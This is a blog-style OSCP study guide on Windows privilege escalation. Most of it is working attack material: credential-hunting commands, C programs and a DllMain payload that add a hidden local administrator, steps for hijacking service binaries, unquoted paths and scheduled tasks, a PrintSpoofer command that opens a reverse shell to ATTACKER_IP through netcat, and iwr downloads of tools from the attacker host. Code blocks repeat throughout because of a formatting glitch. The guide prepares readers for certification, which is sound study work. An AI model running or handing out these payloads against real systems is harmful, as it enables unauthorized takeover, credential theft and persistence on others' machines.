September 2, 2026
Windows Privilege Escalation for OSCP: A Practical Field Guide
From a foothold to SYSTEM โ the techniques, commands, and mindset you need to pass the OSCP exam.

By Foysal Hossain, Senior Consultant @EY
7 min read
About Me
Hey, I'm Foysal โ a Senior Consultant at EY. I recently passed my OSCP+ and OSCP exams on July 7, 2026, and I'm writing this article to share the exact Windows Privilege Escalation approach that got me through the exam.
This isn't a theoretical write-up pulled from documentation โ it's the practical, battle-tested checklist I built and refined through hands-on lab practice, real engagements, and the exam itself. My goal is to help fellow OSCP candidates cut through the noise and focus on what actually works under exam pressure.
If you find this useful, feel free to connect with me and follow for more offensive security content โ Active Directory attack paths and lateral movement techniques are coming up next.
Introduction
Getting an initial shell on a Windows box is only half the battle. In almost every OSCP exam scenario โ and in real-world penetration tests โ that first shell lands you as a low-privileged user. The real challenge, and often the deciding factor between a pass and a fail, is privilege escalation: turning that limited foothold into full NT AUTHORITY\SYSTEM access.
Windows privilege escalation isn't about memorizing a single magic exploit. It's a methodology โ a repeatable process of enumeration, pattern recognition, and exploitation. In this article, I'll walk through the techniques I rely on most during OSCP-style engagements, in the order I actually use them: from passive enumeration to service abuse, credential hunting, and kernel exploits.
If you're preparing for OSCP, treat this as a checklist you can run through on every Windows target.
1. Situational Awareness: Know Before You Escalate
Before touching a single exploit, you need a clear picture of the machine you've landed on. This is the enumeration phase, and rushing through it is the single biggest mistake candidates make under exam pressure.
At minimum, gather:
- Username and hostname
- Current user's group memberships
- Existing local users and groups
- OS version and architecture
- Network configuration
- Installed applications
- Running processes
Identity and privileges:
whoami
whoami /groups
whoami /priv
Get-LocalUser
Get-LocalGroup
Get-LocalGroupMember Administrators
systeminfowhoami
whoami /groups
whoami /priv
Get-LocalUser
Get-LocalGroup
Get-LocalGroupMember Administrators
systeminfoNetwork context:
ipconfig /all
route print
netstat -anoipconfig /all
route print
netstat -anoInstalled software (check both registry hives โ don't skip the 32-bit path on a 64-bit OS):
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displaynameGet-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displaynameRunning processes:
Get-Process | Select-Object Name, Id, Path
Get-CimInstance Win32_Process | Select Name, ProcessId, ExecutablePathGet-Process | Select-Object Name, Id, Path
Get-CimInstance Win32_Process | Select Name, ProcessId, ExecutablePathTakeaway:_ Every subsequent technique in this article depends on information you gather here. A service you can hijack, a scheduled task you can overwrite, a credential file left on disk โ none of it is visible until you enumerate properly._
2. Hidden in Plain View: Hunting for Sensitive Files
Sysadmins are creatures of habit, and habit often means leaving credentials where they shouldn't be. Once you know which applications are installed, search for their associated data and configuration files.
Password manager databases:
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinueGet-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinueApplication configuration files (e.g., an XAMPP install):
Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
type C:\xampp\passwords.txt
type C:\xampp\mysql\bin\my.iniGet-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
type C:\xampp\passwords.txt
type C:\xampp\mysql\bin\my.iniDocuments in user home directories:
Get-ChildItem -Path C:\Users\dave\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinueGet-ChildItem -Path C:\Users\dave\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinueIf you find a plaintext password for another local user, don't stop at reading it โ validate the account and pivot to it:
net user backupadmin
runas /user:backupadmin cmdnet user backupadmin
runas /user:backupadmin cmdThis alone can be the difference between a stuck box and full compromise โ a plaintext credential handed to you by a careless config file is often faster than any exploit.
3. The PowerShell Information Goldmine
PowerShell logging, designed for defenders, is frequently an attacker's best friend. Misconfigured or overly verbose logging can leak commands, and cached credentials can leak plaintext passwords.
Command history:
Get-History
(Get-PSReadlineOption).HistorySavePath
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txtGet-History
(Get-PSReadlineOption).HistorySavePath
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txtScript Block Logging โ if enabled, Event ID 4104 can reveal full command-line arguments, including credentials passed in plaintext:
Get-WinEvent -FilterHashtable @{LogName="Microsoft-Windows-PowerShell/Operational"; Id=4104} | Format-List MessageGet-WinEvent -FilterHashtable @{LogName="Microsoft-Windows-PowerShell/Operational"; Id=4104} | Format-List MessageSaved credentials via cmdkey:
cmdkey /listcmdkey /listIf a saved credential is listed for another user, you can reuse it directly:
runas /user:DOMAIN\mike.katz /savecred "cmd.exe"runas /user:DOMAIN\mike.katz /savecred "cmd.exe"Web application configs โ IIS servers often store database connection strings in cleartext:
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionStringtype C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionStringPuTTY saved sessions can also leak proxy credentials via the registry:
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /sreg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /sIf shells like RDP or a direct
cmd.exesession feel unstable,evil-winrmis a reliable alternative for maintaining an interactive foothold while you enumerate.
4. Service Binary Hijacking
Windows services often run as SYSTEM. If you can write to the executable a service points to, you can replace it โ and the next time the service starts, your code runs with that service's privileges.
Step 1 โ Enumerate services and their binary paths:
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}Step 2 โ Check write permissions with icacls:
icacls "C:\xampp\mysql\bin\mysqld.exe"icacls "C:\xampp\mysql\bin\mysqld.exe"Mask Permission F Full access M Modify access RX Read and execute R Read-only W Write-only
If your user (or a group you belong to) has F or M, the service binary is a viable target.
Step 3 โ Build a payload. A minimal C payload that adds a new local admin is enough for most labs:
#include <stdlib.h>
int main() {
system("net user pwnadmin Password123! /add");
system("net localgroup administrators pwnadmin /add");
return 0;
}#include <stdlib.h>
int main() {
system("net user pwnadmin Password123! /add");
system("net localgroup administrators pwnadmin /add");
return 0;
}Cross-compile from Kali:
x86_64-w64-mingw32-gcc adduser.c -o adduser.exex86_64-w64-mingw32-gcc adduser.c -o adduser.exeStep 4 โ Back up the original, then replace it:
move C:\xampp\mysql\bin\mysqld.exe mysqld.exe.bak
move .\adduser.exe C:\xampp\mysql\bin\mysqld.exemove C:\xampp\mysql\bin\mysqld.exe mysqld.exe.bak
move .\adduser.exe C:\xampp\mysql\bin\mysqld.exeStep 5 โ Trigger execution. If you can stop/start the service directly:
net stop mysql
net start mysqlnet stop mysql
net start mysqlIf you lack permission to control the service but its Startup Type is Automatic, a reboot achieves the same result:
Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'}
shutdown /r /t 0Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'}
shutdown /r /t 0Automate the discovery with PowerUp.ps1's Get-ModifiableServiceFile, which flags exactly this misconfiguration without manual icacls checking of every service.
5. Unquoted Service Paths
This is a classic, exam-favorite misconfiguration. When a service's binary path contains spaces and isn't wrapped in quotes, Windows doesn't know where the executable name ends.
Given this unquoted path:
C:\Program Files\Enterprise Apps\Current Version\GammaServ.exeC:\Program Files\Enterprise Apps\Current Version\GammaServ.exeWindows will try, in order:
C:\Program.exeC:\Program Files\Enterprise.exeC:\Program Files\Enterprise Apps\Current.exeโ if you can write here, this wins- The actual
GammaServ.exe
All four conditions must hold for this to be exploitable:
- The path contains unescaped spaces
- The path is not quoted
- The service runs with elevated privileges
- You have write access to one of the intermediate folders
Find candidates:
Get-CimInstance -ClassName win32_service | Select Name,State,PathNameGet-CimInstance -ClassName win32_service | Select Name,State,PathNameVerify write access:
icacls "C:\Program Files\Enterprise Apps"icacls "C:\Program Files\Enterprise Apps"Craft and place the malicious binary โ naming it correctly is critical. For the path above, the file must be named Current.exe, placed directly inside Enterprise Apps\:
copy .\adduser.exe 'C:\Program Files\Enterprise Apps\Current.exe'
Start-Service GammaServicecopy .\adduser.exe 'C:\Program Files\Enterprise Apps\Current.exe'
Start-Service GammaServicePowerUp's Get-UnquotedService and Write-ServiceBinary automate detection and exploitation of this exact pattern.
6. Scheduled Task Abuse
A scheduled task is exploitable when it:
- Runs as
SYSTEM(or another privileged account) - Executes a script or binary
- Points to a file you can overwrite
Enumerate:
schtasks /query /fo LIST /v
Get-ScheduledTaskschtasks /query /fo LIST /v
Get-ScheduledTaskLook for tasks with a defined Task To Run path, then check permissions on that target:
icacls C:\Users\steve\Pictures\BackendCacheCleanup.exeicacls C:\Users\steve\Pictures\BackendCacheCleanup.exeIf your user has write access, swap the file:
move .\Pictures\BackendCacheCleanup.exe BackendCacheCleanup.exe.bak
move .\adduser.exe .\Pictures\BackendCacheCleanup.exemove .\Pictures\BackendCacheCleanup.exe BackendCacheCleanup.exe.bak
move .\adduser.exe .\Pictures\BackendCacheCleanup.exeThen simply wait for the task's schedule to trigger โ no manual restart needed, which makes this technique especially stealthy.
7. DLL Hijacking
When an application loads a DLL without specifying its full path, Windows searches a defined DLL search order. If a directory earlier in that order is writable by you, and the expected DLL is missing, you can plant your own.
All conditions must be true:
- The application loads a DLL without an absolute path
- The DLL doesn't already exist at that location
- A writable directory sits in the search order
- The application runs with elevated privileges
A well-documented real-world example is FileZilla FTP Client, which historically attempted to load TextShaping.dll from its own installation directory โ a directory often writable by standard users.
Malicious DLL skeleton (executes on load via DLL_PROCESS_ATTACH):
#include <windows.h>
#include <stdlib.h>
BOOL APIENTRY DllMain(HANDLE hModule, DWORD reason, LPVOID reserved) {
if (reason == DLL_PROCESS_ATTACH) {
system("net user pwnadmin Password123! /add");
system("net localgroup administrators pwnadmin /add");
}
return TRUE;
}#include <windows.h>
#include <stdlib.h>
BOOL APIENTRY DllMain(HANDLE hModule, DWORD reason, LPVOID reserved) {
if (reason == DLL_PROCESS_ATTACH) {
system("net user pwnadmin Password123! /add");
system("net localgroup administrators pwnadmin /add");
}
return TRUE;
}Compile as a shared library and drop it in place:
x86_64-w64-mingw32-gcc TextShaping.cpp --shared -o TextShaping.dll
iwr -uri http://ATTACKER_IP/TextShaping.dll -OutFile 'C:\FileZilla\FileZilla FTP Client\TextShaping.dll'x86_64-w64-mingw32-gcc TextShaping.cpp --shared -o TextShaping.dll
iwr -uri http://ATTACKER_IP/TextShaping.dll -OutFile 'C:\FileZilla\FileZilla FTP Client\TextShaping.dll'The catch: your payload only runs with the privileges of whoever launches the vulnerable application. This technique shines most when a privileged process or scheduled task starts the application automatically.
8. Exploiting Known Vulnerabilities
Sometimes the fastest path to SYSTEM isn't a misconfiguration โ it's an unpatched kernel or service vulnerability.
Check the patch baseline first:
systeminfo
Get-CimInstance -Class win32_quickfixengineering | Where-Object { $_.Description -eq "Security Update" }systeminfo
Get-CimInstance -Class win32_quickfixengineering | Where-Object { $_.Description -eq "Security Update" }Cross-reference missing KBs against public CVEs (e.g., CVE-2023-29360) to identify a viable kernel exploit.
The SeImpersonatePrivilege shortcut. If whoami /priv shows this privilege enabled โ extremely common for service accounts โ tools from the "Potato" family (PrintSpoofer, SigmaPotato, GodPotato, JuicyPotato, RottenPotato) let you coerce a SYSTEM-level authentication and hijack it.
PrintSpoofer walkthrough:
whoami /privwhoami /privConfirm the print spooler service is alive:
ps | findstr spoolsvps | findstr spoolsvUpload the tool and pop a SYSTEM shell:
.\PrintSpoofer64.exe -c "nc64.exe ATTACKER_IP 9999 -e powershell"
nc -nlvp 9999.\PrintSpoofer64.exe -c "nc64.exe ATTACKER_IP 9999 -e powershell"
nc -nlvp 9999Once you have that shell:
net localgroup Administrators victim.user /addnet localgroup Administrators victim.user /addThis single privilege โ SeImpersonatePrivilege โ accounts for a disproportionate number of "easy" SYSTEM shells on the OSCP exam and in real environments. Learn it well.
9. Don't Skip Automation โ But Don't Rely on It Either
Tools like WinPEAS automate almost everything above and flag misconfigurations you might miss manually:
iwr -uri http://ATTACKER_IP/winPEASx64.exe -Outfile winPEAS.exe
.\winPEAS.exeiwr -uri http://ATTACKER_IP/winPEASx64.exe -Outfile winPEAS.exe
.\winPEAS.exeWinPEAS is excellent for a first pass and for catching things you overlooked. But on the OSCP exam, blindly running automated tools without understanding why a finding matters will cost you time you don't have. Use it to confirm your manual enumeration, not replace it.
Building Your Own Privilege Escalation Checklist
Every technique above maps to a repeatable question:
- Who am I, and what can I already do? โ
whoami /priv, group memberships - What's installed, and does it leak anything? โ sensitive files, configs, PowerShell logs
- What runs with higher privileges than me, and can I touch it? โ services, scheduled tasks, DLL search paths
- Is the box simply unpatched? โ kernel exploits,
SeImpersonatePrivilegeabuse - Did I miss anything? โ WinPEAS as a final sanity check
Run through these five questions on every Windows target, in order, and you'll rarely walk away without at least one viable escalation path.
Final Thoughts
Windows privilege escalation is less about clever exploits and more about disciplined enumeration. The techniques covered here โ situational awareness, sensitive file hunting, PowerShell log abuse, service binary and unquoted path hijacking, scheduled task manipulation, DLL hijacking, and known-exploit abuse โ form the backbone of nearly every Windows privesc path you'll encounter on the OSCP exam.
Practice each of these in a lab environment until the commands become muscle memory. On exam day, you won't have time to look up syntax โ you'll need to recognize the misconfiguration and execute the fix in minutes, not hours.
Good luck, and happy hacking.
I'm Foysal, a Senior Consultant at EY and an OSCP+ / OSCP certified professional. If this guide helped you, follow me for more OSCP and offensive security write-ups โ Active Directory attack paths, lateral movement techniques, and exam strategy are coming next. Feel free to connect and share your own privilege escalation tips in the comments.